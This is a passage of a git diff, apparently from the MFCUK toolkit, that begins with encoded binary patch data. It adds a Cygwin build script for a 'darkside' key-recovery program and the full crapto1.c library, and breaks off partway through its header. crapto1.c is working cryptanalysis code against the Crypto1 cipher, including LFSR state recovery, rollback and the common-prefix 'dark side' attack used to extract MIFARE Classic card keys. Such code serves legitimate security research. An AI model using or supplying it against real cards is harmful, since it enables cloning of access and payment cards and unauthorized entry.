z#5|*%IfM+BnW#&!%mkKULFGj2yZ6$86km$U>}N@RpTwd!g@O*Gr%*gVC>}DlV;L?F zSf^2R0)=9SIR+=k@GSM~Suf`0@`p-gy(2H0*1IG~qP*UP8I$q!-)IBt@a_$!Hfb2= zz*rUl&&DtNO;Vtc%5lg!ta&(84(ZI2R%$I}fnkgbD=`i~$L_-Yq1`*{ip4L3!aR=P zrDz3@!)o7+pVX?~)B%X_#AdrB+%!5(ee zh1Fq82XDh1Xh7@n2gJOC@`ODTN36HVng7W%v_3NFO4?4jOO>snt(SOdqvE^=9hVsI(%c~_Zl&)m>lcbx;*Lp>yh zdeHfw_OVcQp56(1sGn`$7xOB) zK-GwOnf$>Ds})bve?KQq>N3tj4$C6xtnYrlI-*XGLP#$elX5H}O650^?b&4<1^U1* zA=u!LvaSZ6M^-x7Jps2S#S>?@gMVY0I3uwJo|OUN-`{`(JB$5(V(kTc6P-2SkO9XG zXy(6HQ)S;R&k)YxA<65?%0UqMCOCch;Ezzdy$0aCuF8JoVhEEIgfHOWN8Z8cc!^Hl zwgkCS>O!2k1jlW6&vbZj*7Ge(;6+(^L#$i~-{Mu}E>OM_Ap1uYo$+ScwHIfvL&l}e& z%k_hh`K0agwg9VrAx;XSNpT=OwFnJ8mBvdw(cERV+H=u2oB(rhBs6~l_LkM$rt9d0 zT8oY%y*oJl2CPoo_>%^nlfXOzl8jpF!3`H8PBNhTT;F_BJJL8@QXr3N z!JlCEsE< zg-JAlm%tS=l0THJA((zZB4w|4rLko2a-@GAAykM&!R($J+d3yp+nz0 z!F9-9icD~X6yh>4JQX+WvWcRKR=(vA)ZnBWr2CdmiqP$)XAwg>sxdW{a%wHFeC3)dc69I67JlG}iT9h_-Z1&&iDntE5E40!b2?~+u9R6Xw4i_BC!{wd+mLtCtYp$GBOC$v=3M6QPyS1_=pcFwtQ_MLTNOBg<0wp+ zn8!U)eb;X>3V)Z;uuu_A82WHKnsQM)3Qx-FE}Al?kRifRZl6SVW6u%R)ewt|I003G z2APhrcu3q7k}0|SceIz~PNo0$@HB}QyWj-+-6&C9Xnoh?RDJ*S2w>_j7{No_m*Gcd zxHeH%0zLxsRObp8EcQZlF^lk==fl3K#eBm{o@yU5WD69+H(#PqRc7xXj4*auXiUPj zbO(bg7*k*1VFd^5$xynPU1~D3SJKRE4bsY+%*)5r7c5sQAZNYOQ z>iwwu9^h>#XL@{82x@(lUayIcnWLeSsgD*aIJd8IFXAWr zCty6JJaVY*y+rx%duhJ`E2t%zAHPDW+a=ebZ(e6W3dvey_1jgZiSCc}-=?+QYCpii zFnILffrgn~3-|_N{4%;5(93rNt~qj<+SEroWpOlK>|2H1M0ndPsO>`K`rs;Q$QU(2 zpna{;Qc!UyKMoD(#@ARNbggd;XYj9{@> z%FX$U8hB0mz5;n|*TMV5m2;s{r|&w9exCE99P(OFL_x|$CUsj_ zLwIo{Hs=g_@jLuM;4>P|=!e3`#P)R1?U08H9M}jPe)h zE%t*ljQk?Xi-sKBDCqCI8OCSB`kJ+a#F|);tiNw7icEcDcO#)f?$v&mnDxk1b|+qBVY^F^K=cDpsq|(jB@n09h zPZt8y`12_Hm-kRcmrRdCVU>%_@Jq}GQT!KQVp_`V)vd4`$|dGmV*Bg%EH_W&+so&eDO<6t^V73vL0c#iGRnd%io}z(ADL?;Q24Py2KgW^wlNaPNJ*JRbKj{ zK)-;CKYqzLkKZ&>B;PdBQyfLH6lp1%Ls1Mx(G+PYl5Y;_3GYs@a&XYj*~KpoOWtslhGgF5~#{jM|G zAM}5SZ&@K9bzWX`UOqZJAODs#EWNDX)lYc!Pwdm;ZAD*mGNc;Ao{trJo+y!!?3SVnHF{+|XW-tr#5?uG%l%`j-*Q`1E+ z#rN|DJG4D!RDLZ>|mn<1rFXb6)YK(VYiQY?m=lL(YqyI8N72Y6U;a zkkhaC57120kz?k4-doc2-Mf+Z-m7AMEB2Z@k*Rv27kuZh5SfmC{<9j-eA>wr8VwxH z7`Ie?c-5C@w_mP*{&TD@R=c(tE;T13nCRuot<8DSUFtoP?Jo9qsIomdJBU_q7IV+v zNmNQh8+>V0wEm7kJ}&Cxo&}&2-wEj?bIb2*Wa5YLzQ*8&^}SyQfp_3tO?jaA%vGRe z&<*QhlED7pBB2h7wkVm$Njy&Av4O`r9&355;W6X!S&$uEG|A&H5a-OL7ePJh&j-i; zRSnPZ!&3N=Kg2b}juWC8_d~`fQ5{?wKxQXB+ILa(I7N?AO=3?i89D4=ckV|19&M90 zuse#ewS!Ft`y(D8)8InObkw*0Y{QNunwNHsZ~c2OB!MXv)~aA)2HNKgx-ZWe@@P#H z%YB~r#trrWFa#6n3VZx56z)g>Gyvk7t`1ZX^6?yAMB88AQmV9@F*u09cC~ ziLVS7orNw1d+G9b>}^E8rO$%K5Vi&O3~H1@jVgGf;b_982IR8!?|HNpAdi8DWmg(e z?7rMiNuU|bA@p$-P3nqZB9-kRrbu&t3|OBkxRi3irNpD)QeskIEp{*1bL{LzX4#cb zAohF>_WO}qv?@9wX{A`-%2Ax+-V;Tn4@$OxR5Z$=O-B{@Ie>o<@XM~GA$VefiT5L? zjBp1b4vd1Z!N$%!#>{NxH{AG2=lIGUxybmvRMeS8fBDEWrvF_@Qs=37*j)Dlq-vDC zF7|d|(DODQFzsK~Gl|FXd18lq-sWd1A3$FJaKF^wq}oZe2NU~h&8!K|{If{cuHBgo z7VH!d1rvKwBF+5*(&EFH2%hA*lRUR$H)YsP1M%>7HDiGXL9dvX;5CB+oqg_VYX1a) z)&^Gc8Ut#Ao>=PWaVmyE3Dlrw?5Efe;nu(NL<;z|b6+PZP$-+6N7Zk|Lx!IMRg^CWE-k{^FJ`Un!Ki0wSUQ_aqUNc~0HoyREOJ&IRc zhoh75tirz?RJrp2=p2sjLmaDNeZ$dv@dWP5FCzH5kD$p84a$7o$M6_TOs+*E16nqz z0@q?ZYnw1|0fqMFI^uy5k76DHV66m9FbXhs!W~RZK^-I^70G`2O>fL=y{l!^bA#An zi1HXEb3&dF{k_ZGiFwyhGB0l-C3p+S`~#IIIzVrlnfeAa%>MN4)EV_lmO8ko3r|f6 z_FmFii<&`pX-cJ~$50-8W38{~J-UO_1wEM9BPd%tz6rX1HxVb=&MM%+Hvku0N)mxK zXf*0C8nyU~-m{>cw3Gw}<(5Dmn)!;31wHQt-;hPeGm3kGy$M{H6tNCq=ZLvD7Ki~k zgXl~}oec)vMopj`oFw1z%Oh(`2CY@SJs|r9igJdflPQN zd5~Zzx)=<&Z~_!gueJ09^Q&p>Tn3GzSLmhu+^BvYS7fgfw|l1Cbq;n13Dh=Xq#jt+Z9zWtop$GOwRB#41XfeJ-2(%9sA|M zout&`wN`)8Bvew1AxfUJCeLIrQHN*K$zY;ENfUUAQ2;K9;EKL56`eGl%=ywY=lRvZ zJRaZuxn~YJr-t~GzNJL_mv8u%QU@Dq?$|#VT(lR>f{XU?_yCU&^7!9*Jj&zucpN|+ zF2P=WJ0j70N^r&Ke{pc+qd{rFgqPs19tmKuro)2=%5cD@xp5y<=^!rO_by^5gTb7A z&N!)m?L!jtX^ewubgtgb#>X(9S-g*j5Jx@{4n#N*;Xs4~5e`H+5aB?C0}&2HI1u4L zgaZ){L^$yO4+jq88?qf8j2-?aW6vV|4B`6-+Ysysw;`k>T!9dS5TI|=;&TGe51`%m z5gtYOH-skKvB%{V4W=KbAFlb<7(xkC~(9ut)J{lWgCPWlIJ%EcLoLX6Wt7)vhbt;C<}A z>-)<46Kemp_O{)X8H=iKc%=OCe?D>3!M)b`_KiQ+?#}+xt<^ud`5WNmyZ^O5Yc>-K&B4=JO4uU*nUx@kq$$=@_Q;yUFnS#oUK zqyPA7mSx4J?o=#?4>u6A3!qtQ_>xZ4Cb{q%;rt*tp# zu-CZ+mkrd_HRJa-oHn7+VQX%132m(aXcyWVLtR|hJxgnwNpqXWP4v3$HVoP2X?8nW zH-$InbfEh>VUuICtrcB0+h`zZt3y!J-zOzF$V2u+$ta|G`2ZI38d-zTA_;MqF*?9pXTtA%M4TrXA%&^j(s7xb-E zqzhRBbb0aZslt*>ddkF;X$d_Q7F8^FI7z|M6xu^FJY)J?LQ9?VPRJ%r23HA3eVyCU z)|x7KAcC@xH`p5MpwC^AD(uI{|M%tTg0+6<~6ABmoSP;R0yarA+w_9O7gcK#s z1sYl$%??>p$m9vGW}B^@w<;`OZ4s8QC@L-Fysr3jum!7ERaEA$ssvL@^Vbr5M*3p5 za(Tg;+tF;LV>u1Kpt;WFf`MJr3hU-{VW?zcZ+Ex>&K40Zi)8)HNH?*S+}KaGDa0I9 zkQUw!y)2j4i>*Q>+M{iLYlG9~5DMB{u&AlR-Nb#5c~eWBqdC34tp!Hh?QYM$2?meg z>NyxyP`?|u%Dt{ESbRI>R~BUQl+!~}y(nWz$N5p3P`TDpBxH2(%9KTlhNt~KK44x2 zSNYg&0zNd}{Mc>z1(g-THle(zqIA0a)*0n-Y*7Q%5lyoN)Gex~|4RDTz{atn^77T? z*@COB#U`}Z;U}qVWa4RBSFI^6ovMe$ZFFq%ILSm87ObuT-7Bp5l|?lnK~nIX4+oE6 z#i|v6t0*chDyY0DzLNY^g{4I`1?2_c(?xJ8FqZuC6_s2Tr{P+`St1RBzH-I#{PLnH z0fW6Dv1Qo^3Vb8v2O0!etZ!{l`YDS|%CzWuYT`MRr^E z>TGLvd3Hs%D|>VH%Ir1S4cV>epenz7RW_WL&2`O=2BF#3x=CKWz|Kvc79bU5k(vpI zRSRlg=XBA}f1$VYp=Y7nY5OZE57E`y)|%$>w70i8-55P|X=9tqmevd(s96BT9-Bhl z?C?`=&`i+T$4vS)>zHTKz->}meq|c>y@b`vm(L_b=F_ZgmRA;)hnlUL*(#iV_&%^1 z^~wS;J58bal2`d~mY;Lv|?F-nB7fMKMevW8>UwA!wY0QvZ$X26OPMeYYwRo#zhV=cVwwc*@nge;fl%? z`K1D>J(dJvWqxJ(ifS5joVBQY#d3J}^c+i84VFk|rHgbZ8aW8tNZ56ln$k zr69atbP=v8<%czpRbSrrQYBWEDbs*Oh75*c9cIThwXvIO zHr;};aJ&~n(k^nkgSgPTSDIf@v7!K;G3>y3Wtk|uwRCmC?aJiF!d2PXY1HXQAr?s4X~aaw7aq@}8DPY@E&CgG$1P3LCLU4fFRn zG<@a%ou9`QIot>QbG{z-BY2gKJ|%MUx5Zw(t?iLt*DS9ntf+3i%sQAAwc{Gt|X_-5XWM_!aMlx+(u%f;Dg7RqM(M9z@^vNPl> z7-XkLc5iT^1@$K9gbo22yNT>~$iC5GzA{bCDQTSEi3L=N{>cKLZd$w!to^)2vb zRIIMO9W>QATy2XpGc!$fHTCp!u1V*$p)oPG;Jngsnqd@}tUT!r&Da22qbg|E&TcO% zUsY6US|XQzp=os5Z1`I@(Jg!zfIn9l?Q%QaZFe$uOEe!%Bkm-kl}!RWp=neKcd?op zN884lMo%l~JFaPLZ1%YD%I9mEI(M6cu|t}TE?b?m-j35~*H#yF8f#$mT`uex*qziz zYdx+WKGHO{VZ7{*L`Pi%3u+qq2@hlcp@9Lwrh>5z1YK`;V&7e1Ehx{*;G|!vs;O&n zZK|<#5GQ^LYOro#H{XiAf{SIUYU<^hE|m=8U^UhC?e67{W;iUasWpm>M#o1CvN2H+eQc%^<&&o3K>c z+h}eI*w=|pjMi;4o7d)7SATq;17N|Vx3%&?-lwkNr72N0N{L+sd^7s} zCUL3W)(+Xl0SK1lOqu3Z_7&p9=C(U+HCyW3uC`Xjia9sj&bH>p_8REL_39NwJN02} zDC)rWvvre=eKowapsfYMZ=0%Q8=@*h> zIJ;7&klhwlVRK)!dYO8Kt59K@1t;lnaM@0EnaAebYOy)tB(&7E*4ql&Je=?UL48*` z>hI(QxZMh)rIJtj3TS6RSgArGieIAA3NGT6juu zx3734_1>Z%j(kb~{_U9qZ+`-hmCk-bpNeNS>{lnS8e25%dfXS^eLRLe@@qAFc^#SC!FqksArz4`!hr|}A{>ZtAi{wN2O=DZa3I2g2nQk@h;Sgn zfd~iwjvUZ%Tq>OG)9F6*hERvf=}aJFmU8@I5`G6){a_zk1EBZh1}qov&DmNu;?>xW zmgZJh-a?PFHQR+(09)!@X?VHS+2(3%bf@7YI=jx*lD>KILcFus>S(mN+*Z73hjZ1u zg^SZO7Tz*9P7rb%Y;+5O!|AO&A6DYdSNc&ZP!;NV1sb?04Mkb<&_KRl?=Jxtn`fZr5Rsa^0oBLjHRZ90&e%{NVv_Jk8^(<&eyv= zPT=Usx*2tzjm?gFyc<%9Gijo^u|8{~Y2&iG#kR#+Hq*w1x8&Y*K0%=|+!Pwt%t7Q% zmGj|Fx4*@bUx@#OD^?X(S1S*Ze1snnd5Gvk#2(0oF=7uR_Ap`(Bla+24%qm>gZ~9DEkKt5 literal 0 HcmV?d00001 diff --git a/src/build_cygwin.sh b/src/build_cygwin.sh new file mode 100644 index 0000000..78e70a8 --- /dev/null +++ b/src/build_cygwin.sh @@ -0,0 +1,6 @@ +MAIN_FILE=mfcuk_keyrecovery_darkside +LIBNFC=libnfc +CFLAGS=`pkg-config --cflags ${LIBNFC}` +CFLAGS_LIBNFC=`pkg-config --cflags libnfc | cut -d ' ' -f 1`/${LIBNFC} + +gcc ./${MAIN_FILE}.c ./mfcuk_mifare.c ./mfcuk_utils.c ./crapto1.c ./crypto1.c ./bin/libnfc.lib ${CFLAGS} ${CFLAGS_LIBNFC} -o ./bin/${MAIN_FILE}_cygwin.exe diff --git a/src/crapto1.c b/src/crapto1.c new file mode 100644 index 0000000..38f66c4 --- /dev/null +++ b/src/crapto1.c @@ -0,0 +1,487 @@ +/* crapto1.c + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, + Boston, MA 02110-1301, US$ + + Copyright (C) 2008-2008 bla +*/ +#include "crapto1.h" +#include + +#if !defined LOWMEM && defined __GNUC__ +static uint8_t filterlut[1 << 20]; +static void __attribute__((constructor)) fill_lut() +{ + uint32_t i; + for(i = 0; i < 1 << 20; ++i) + filterlut[i] = filter(i); +} +#define filter(x) (filterlut[(x) & 0xfffff]) +#endif + +static void quicksort(uint32_t* const start, uint32_t* const stop) +{ + uint32_t *it = start + 1, *rit = stop; + + if(it > rit) + return; + + while(it < rit) + if(*it <= *start) + ++it; + else if(*rit > *start) + --rit; + else + *it ^= (*it ^= *rit, *rit ^= *it); + + if(*rit >= *start) + --rit; + if(rit != start) + *rit ^= (*rit ^= *start, *start ^= *rit); + + quicksort(start, rit - 1); + quicksort(rit + 1, stop); +} +/** binsearch + * Binary search for the first occurence of *stop's MSB in sorted [start,stop] + */ +static /*inline*/ uint32_t* +binsearch(uint32_t *start, uint32_t *stop) +{ + uint32_t mid, val = *stop & 0xff000000; + while(start != stop) + if(start[mid = (stop - start) >> 1] > val) + stop = &start[mid]; + else + start += mid + 1; + + return start; +} + +/** update_contribution + * helper, calculates the partial linear feedback contributions and puts in MSB + */ +static /*inline*/ void +update_contribution(uint32_t *item, const uint32_t mask1, const uint32_t mask2) +{ + uint32_t p = *item >> 25; + + p = p << 1 | parity(*item & mask1); + p = p << 1 | parity(*item & mask2); + *item = p << 24 | (*item & 0xffffff); +} + +/** extend_table + * using a bit of the keystream extend the table of possible lfsr states + */ +static /*inline*/ void +extend_table(uint32_t *tbl, uint32_t **end, int bit, int m1, int m2, uint32_t in) +{ + in <<= 24; + for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1) + if(filter(*tbl) ^ filter(*tbl | 1)) { + *tbl |= filter(*tbl) ^ bit; + update_contribution(tbl, m1, m2); + *tbl ^= in; + } else if(filter(*tbl) == bit) { + *++*end = tbl[1]; + tbl[1] = tbl[0] | 1; + update_contribution(tbl, m1, m2); + *tbl++ ^= in; + update_contribution(tbl, m1, m2); + *tbl ^= in; + } else + *tbl-- = *(*end)--; +} +/** extend_table_simple + * using a bit of the keystream extend the table of possible lfsr states + */ +static /*inline*/ void +extend_table_simple(uint32_t *tbl, uint32_t **end, int bit) +{ + for(*tbl <<= 1; tbl <= *end; *++tbl <<= 1) + if(filter(*tbl) ^ filter(*tbl | 1)) { + *tbl |= filter(*tbl) ^ bit; + } else if(filter(*tbl) == bit) { + *++*end = *++tbl; + *tbl = tbl[-1] | 1; + } else + *tbl-- = *(*end)--; +} +/** recover + * recursively narrow down the search space, 4 bits of keystream at a time + */ +static struct Crypto1State* +recover(uint32_t *o_head, uint32_t *o_tail, uint32_t oks, + uint32_t *e_head, uint32_t *e_tail, uint32_t eks, int rem, + struct Crypto1State *sl, uint32_t in) +{ + uint32_t *o, *e, i; + + if(rem == -1) { + for(e = e_head; e <= e_tail; ++e) { + *e = *e << 1 ^ parity(*e & LF_POLY_EVEN) ^ !!(in & 4); + for(o = o_head; o <= o_tail; ++o, ++sl) { + sl->even = *o; + sl->odd = *e ^ parity(*o & LF_POLY_ODD); + sl[1].odd = sl[1].even = 0; + } + } + return sl; + } + + for(i = 0; i < 4 && rem--; i++) { + extend_table(o_head, &o_tail, (oks >>= 1) & 1, + LF_POLY_EVEN << 1 | 1, LF_POLY_ODD << 1, 0); + if(o_head > o_tail) + return sl; + + extend_table(e_head, &e_tail, (eks >>= 1) & 1, + LF_POLY_ODD, LF_POLY_EVEN << 1 | 1, (in >>= 2) & 3); + if(e_head > e_tail) + return sl; + } + + quicksort(o_head, o_tail); + quicksort(e_head, e_tail); + + while(o_tail >= o_head && e_tail >= e_head) + if(((*o_tail ^ *e_tail) >> 24) == 0) { + o_tail = binsearch(o_head, o = o_tail); + e_tail = binsearch(e_head, e = e_tail); + sl = recover(o_tail--, o, oks, + e_tail--, e, eks, rem, sl, in); + } + else if(*o_tail > *e_tail) + o_tail = binsearch(o_head, o_tail) - 1; + else + e_tail = binsearch(e_head, e_tail) - 1; + + return sl; +} +/** lfsr_recovery + * recover the state of the lfsr given 32 bits of the keystream + * additionally you can use the in parameter to specify the value + * that was fed into the lfsr at the time the keystream was generated + */ +struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in) +{ + struct Crypto1State *statelist; + uint32_t *odd_head = 0, *odd_tail = 0, oks = 0; + uint32_t *even_head = 0, *even_tail = 0, eks = 0; + int i; + + for(i = 31; i >= 0; i -= 2) + oks = oks << 1 | BEBIT(ks2, i); + for(i = 30; i >= 0; i -= 2) + eks = eks << 1 | BEBIT(ks2, i); + + odd_head = odd_tail = malloc(sizeof(uint32_t) << 21); + even_head = even_tail = malloc(sizeof(uint32_t) << 21); + statelist = malloc(sizeof(struct Crypto1State) << 18); + if(!odd_tail-- || !even_tail-- || !statelist) + goto out; + + statelist->odd = statelist->even = 0; + + for(i = 1 << 20; i >= 0; --i) { + if(filter(i) == (oks & 1)) + *++odd_tail = i; + if(filter(i) == (eks & 1)) + *++even_tail = i; + } + + for(i = 0; i < 4; i++) { + extend_table_simple(odd_head, &odd_tail, (oks >>= 1) & 1); + extend_table_simple(even_head, &even_tail, (eks >>= 1) & 1); + } + + in = (in >> 16 & 0xff) | (in << 16) | (in & 0xff00); + recover(odd_head, odd_tail, oks, + even_head, even_tail, eks, 11, statelist, in << 1); + +out: + free(odd_head); + free(even_head); + return statelist; +} + +static const uint32_t S1[] = { 0x62141, 0x310A0, 0x18850, 0x0C428, 0x06214, + 0x0310A, 0x85E30, 0xC69AD, 0x634D6, 0xB5CDE, 0xDE8DA, 0x6F46D, 0xB3C83, + 0x59E41, 0xA8995, 0xD027F, 0x6813F, 0x3409F, 0x9E6FA}; +static const uint32_t S2[] = { 0x3A557B00, 0x5D2ABD80, 0x2E955EC0, 0x174AAF60, + 0x0BA557B0, 0x05D2ABD8, 0x0449DE68, 0x048464B0, 0x42423258, 0x278192A8, + 0x156042D0, 0x0AB02168, 0x43F89B30, 0x61FC4D98, 0x765EAD48, 0x7D8FDD20, + 0x7EC7EE90, 0x7F63F748, 0x79117020}; +static const uint32_t T1[] = { + 0x4F37D, 0x279BE, 0x97A6A, 0x4BD35, 0x25E9A, 0x12F4D, 0x097A6, 0x80D66, + 0xC4006, 0x62003, 0xB56B4, 0x5AB5A, 0xA9318, 0xD0F39, 0x6879C, 0xB057B, + 0x582BD, 0x2C15E, 0x160AF, 0x8F6E2, 0xC3DC4, 0xE5857, 0x72C2B, 0x39615, + 0x98DBF, 0xC806A, 0xE0680, 0x70340, 0x381A0, 0x98665, 0x4C332, 0xA272C}; +static const uint32_t T2[] = { 0x3C88B810, 0x5E445C08, 0x2982A580, 0x14C152C0, + 0x4A60A960, 0x253054B0, 0x52982A58, 0x2FEC9EA8, 0x1156C4D0, 0x08AB6268, + 0x42F53AB0, 0x217A9D58, 0x161DC528, 0x0DAE6910, 0x46D73488, 0x25CB11C0, + 0x52E588E0, 0x6972C470, 0x34B96238, 0x5CFC3A98, 0x28DE96C8, 0x12CFC0E0, + 0x4967E070, 0x64B3F038, 0x74F97398, 0x7CDC3248, 0x38CE92A0, 0x1C674950, + 0x0E33A4A8, 0x01B959D0, 0x40DCACE8, 0x26CEDDF0}; +static const uint32_t C1[] = { 0x846B5, 0x4235A, 0x211AD}; +static const uint32_t C2[] = { 0x1A822E0, 0x21A822E0, 0x21A822E0}; +/** Reverse 64 bits of keystream into possible cipher states + * Variation mentioned in the paper. Somewhat optimized version + */ +struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3) +{ + struct Crypto1State *statelist, *sl; + uint8_t oks[32], eks[32], hi[32]; + uint32_t low = 0, win = 0; + uint32_t *tail, table[1 << 16]; + int i, j; + + sl = statelist = malloc(sizeof(struct Crypto1State) << 4); + if(!sl) + return 0; + sl->odd = sl->even = 0; + + for(i = 30; i >= 0; i -= 2) { + oks[i >> 1] = BIT(ks2, i ^ 24); + oks[16 + (i >> 1)] = BIT(ks3, i ^ 24); + } + for(i = 31; i >= 0; i -= 2) { + eks[i >> 1] = BIT(ks2, i ^ 24); + eks[16 + (i >> 1)] = BIT(ks3, i ^ 24); + } + + for(i = 0xfffff; i >= 0; --i) { + if (filter(i) != oks[0]) + continue; + + *(tail = table) = i; + for(j = 1; tail >= table && j < 29; ++j) + extend_table_simple(table, &tail, oks[j]); + + if(tail < table) + continue; + + for(j = 0; j < 19; ++j) + low = low << 1 | parity(i & S1[j]); + for(j = 0; j < 32; ++j) + hi[j] = parity(i & T1[j]); + + for(; tail >= table; --tail) { + for(j = 0; j < 3; ++j) { + *tail = *tail << 1; + *tail |= parity((i & C1[j]) ^ (*tail & C2[j])); + if(filter(*tail) != oks[29 + j]) + goto continue2; + } + + for(j = 0; j < 19; ++j) + win = win << 1 | parity(*tail & S2[j]); + + win ^= low; + for(j = 0; j < 32; ++j) { + win = win << 1 ^ hi[j] ^ parity(*tail & T2[j]); + if(filter(win) != eks[j]) + goto continue2; + } + + *tail = *tail << 1 | parity(LF_POLY_EVEN & *tail); + sl->odd = *tail ^ parity(LF_POLY_ODD & win); + sl->even = win; + ++sl; + sl->odd = sl->even = 0; + continue2:; + } + } + return statelist; +} + +/** lfsr_rollback_bit + * Rollback the shift register in order to get previous states + */ +uint8_t lfsr_rollback_bit(struct Crypto1State *s, uint32_t in, int fb) +{ + int out; + uint8_t ret; + + s->odd &= 0xffffff; + s->odd ^= (s->odd ^= s->even, s->even ^= s->odd); + + out = s->even & 1; + out ^= LF_POLY_EVEN & (s->even >>= 1); + out ^= LF_POLY_ODD & s->odd; + out ^= !!in; + out ^= (ret = filter(s->odd)) & !!fb; + + s->even |= parity(out) << 23; + return ret; +} +/** lfsr_rollback_byte + * Rollback the shift register in order to get previous states + */ +uint8_t lfsr_rollback_byte(struct Crypto1State *s, uint32_t in, int fb) +{ + int i; + uint8_t ret = 0; + for (i = 7; i >= 0; --i) + ret |= lfsr_rollback_bit(s, BIT(in, i), fb) << i; + return ret; +} +/** lfsr_rollback_word + * Rollback the shift register in order to get previous states + */ +uint32_t lfsr_rollback_word(struct Crypto1State *s, uint32_t in, int fb) +{ + int i; + uint32_t ret = 0; + for (i = 31; i >= 0; --i) + ret |= lfsr_rollback_bit(s, BEBIT(in, i), fb) << (i ^ 24); + return ret; +} + +/** nonce_distance + * x,y valid tag nonces, then prng_successor(x, nonce_distance(x, y)) = y + */ +static uint16_t *dist = 0; +int nonce_distance(uint32_t from, uint32_t to) +{ + uint16_t x, i; + if(!dist) { + dist = malloc(2 << 16); + if(!dist) + return -1; + for (x = i = 1; i; ++i) { + dist[(x & 0xff) << 8 | x >> 8] = i; + x = x >> 1 | (x ^ x >> 2 ^ x >> 3 ^ x >> 5) << 15; + } + } + return (65535 + dist[to >> 16] - dist[from >> 16]) % 65535; +} + + +static uint32_t fastfwd[2][8] = { + { 0, 0x4BC53, 0xECB1, 0x450E2, 0x25E29, 0x6E27A, 0x2B298, 0x60ECB}, + { 0, 0x1D962, 0x4BC53, 0x56531, 0xECB1, 0x135D3, 0x450E2, 0x58980}}; + + +/** lfsr_prefix_ks + * + * Is an exported helper function from the common prefix attack + * Described in the "dark side" paper. It returns an -1 terminated array + * of possible partial(21 bit) secret state. + * The required keystream(ks) needs to contain the keystream that was used to + * encrypt the NACK which is observed when varying only the 4 last bits of Nr + * only correct iff [NR_3] ^ NR_3 does not depend on Nr_3 + */ +uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd) +{ + uint32_t c, entry, *candidates = malloc(4 << 21); + int i, size = (1 << 21) - 1; + + if(!candidates) + return 0; + + for(i = 0; i <= size; ++i) + candidates[i] = i; + + for(c = 0; c < 8; ++c) + for(i = 0;i <= size; ++i) { + entry = candidates[i] ^ fastfwd[isodd][c]; + + if(filter(entry >> 1) != BIT(ks[c], isodd) || + filter(entry) != BIT(ks[c], isodd + 2)) + candidates[i--] = candidates[size--]; + } + + candidates[size + 1] = -1; + + return candidates; +} + +/** check_pfx_parity + * helper function which eliminates possible secret states using parity bits + */ +static struct Crypto1State* +check_pfx_parity(uint32_t prefix, uint32_t rresp, uint8_t parities[8][8], + uint32_t odd, uint32_t even, struct Crypto1State* sl) +{ + uint32_t ks1, nr, ks2, rr, ks3, c, good = 1; + + for(c = 0; good && c < 8; ++c) { + sl->odd = odd ^ fastfwd[1][c]; + sl->even = even ^ fastfwd[0][c]; + + lfsr_rollback_bit(sl, 0, 0); + lfsr_rollback_bit(sl, 0, 0); + + ks3 = lfsr_rollback_bit(sl, 0, 0); + ks2 = lfsr_rollback_word(sl, 0, 0); + ks1 = lfsr_rollback_word(sl, prefix | c << 5, 1); + + nr = ks1 ^ (prefix | c << 5); + rr = ks2 ^ rresp; + + good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24); + good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16); + good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2, 8); + good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2, 0); + good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ ks3; + } + + return sl + good; +} + + +/** lfsr_common_prefix + * Implentation of the common prefix attack. + * Requires the 29 bit constant prefix used as reader nonce (pfx) + * The reader response used (rr) + * The keystream used to encrypt the observed NACK's (ks) + * The parity bits (par) + * It returns a zero terminated list of possible cipher states after the + * tag nonce was fed in + */ +struct Crypto1State* +lfsr_common_prefix(uint32_t pfx, uint32_t rr, uint8_t ks[8], uint8_t par[8][8]) +{ + struct Crypto1State *statelist, *s; + uint32_t *odd, *even, *o, *e, top; + + odd = lfsr_prefix_ks(ks, 1); + even = lfsr_prefix_ks(ks, 0); + + s = statelist = malloc((sizeof *statelist) << 20); + if(!s || !odd || !even) { + free(odd); + free(even); + free(statelist); + return 0; + } + + for(o = odd; *o + 1; ++o) + for(e = even; *e + 1; ++e) + for(top = 0; top < 64; ++top) { + *o += 1 << 21; + *e += (!(top & 7) + 1) << 21; + s = check_pfx_parity(pfx, rr, par, *o, *e, s); + } + + s->odd = s->even = 0; + + free(odd); + free(even); + + return statelist; +} diff --git a/src/crapto1.h b/src/crapto1.h new file mode 100644 index 0000000..8f0ce79 --- /dev/null +++ b/src/crapto1.h @@ -0,0 +1,92 @@ +/* crapto1.h + + This program is free software; you can redistribute it and/or + modify it under the terms of the GNU General Public License + as published by the Free Software Foundation; either version 2 + of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, + MA 02110-1301, US$ + + Copyright (C) 2008-2008 bla +*/ +#ifndef CRAPTO1_INCLUDED +#define CRAPTO1_INCLUDED +#include +#ifdef __cplusplus +extern "C" { +#endif + +struct Crypto1State {uint32_t odd, even;}; +struct Crypto1State* crypto1_create(uint64_t); +void crypto1_destroy(struct Crypto1State*); +void crypto1_get_lfsr(struct Crypto1State*, uint64_t*); +uint8_t crypto1_bit(struct Crypto1State*, uint8_t, int); +uint8_t crypto1_byte(struct Crypto1State*, uint8_t, int); +uint32_t crypto1_word(struct Crypto1State*, uint32_t, int); +uint32_t prng_successor(uint32_t x, uint32_t n); + +struct Crypto1State* lfsr_recovery32(uint32_t ks2, uint32_t in); +struct Crypto1State* lfsr_recovery64(uint32_t ks2, uint32_t ks3); +uint32_t *lfsr_prefix_ks(uint8_t ks[8], int isodd); +struct Crypto1State* lfsr_common_prefix(uint32_t pfx, uint32_t rr, 